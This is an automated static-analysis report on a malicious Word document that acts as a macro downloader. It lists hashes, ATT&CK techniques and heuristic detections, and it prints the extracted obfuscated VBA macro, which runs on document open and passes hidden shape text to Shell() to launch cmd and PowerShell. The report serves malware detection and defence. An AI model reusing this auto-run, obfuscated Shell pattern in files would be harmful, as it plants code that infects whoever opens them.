Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 110eadfb5f462cfd…

MALICIOUS

Office (OLE)

73.4 KB Created: 2018-11-08 03:58:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: 372405e7f857e1dedd7879c3a6dfd754 SHA-1: b2bdf273173c72eddb4e461e983df6070789eb92 SHA-256: 110eadfb5f462cfd22bfbcb0d8cc0b218cdb720a357997e4afeb636491f8ffaa
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains a VBA macro that uses the Shell() function to execute a command. This command, in turn, uses PowerShell to decode and execute a Base64 encoded string, which likely downloads and runs a second-stage payload. The presence of the `CMD C:\wIndowS\sySTem32\CMD.ExE /C ...` string and the PowerShell execution strongly indicate a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923145-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923145-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM
    mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861)
       Error vACSMP + RrSYES * (NHIlw + uVnbM)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1139 bytes
SHA-256: c6108e31da7f6a9cd6bd2d1774b6a619cc00b837976a8a5f82e7fa7ef77174d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CUAoYJGkiocz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatNumber (vYhnW + PFanCl * (AVclf + JjwCk))
   FormatDateTime dnURT + zoZGf + AKvipN + TXDGwX + oatws + QTWYla + (TjURr + BuDuWo + oOiZh + uwZWv)
   FormatDateTime QjLuJZ + dDdNPX + ZDNafo + VYToq - SiwWw + fciuji * ukzsOV + sjfic
   Error fizQtr + HiaDaL * (Wlskzz + rsWBf + PqVbm + jVqznN) - pkTQF + kZWwf + HUSnqc + OoTRM
   FormatNumber uIrGS + YwEHR - rBrIj + CtiYjE
   TimeValue WSlUK + jOfYn + NQJbcn + BjPIw / fSlLG + YvulzE + wuKwuz + bYzEkq * (CZoGKp + iGuCZ + PqTfKX + oOrmUJ)
   FormatDateTime (nbGjl + XYHjX / Qvvcst + jfSRhA) + ZzkWS + RpTIT + KaXjNm + OLSSM
mkvzmhAiwoR = Shell("" + SjbPB + FioPjT + Shapes(tVGjlE + MMqniBlB + 1 + XnNbJrt + BVIuVa).TextFrame.TextRange.Text + zCUrCzmO + inDtn, 677413861 - 677413861)
   Error vACSMP + RrSYES * (NHIlw + uVnbM)
End Sub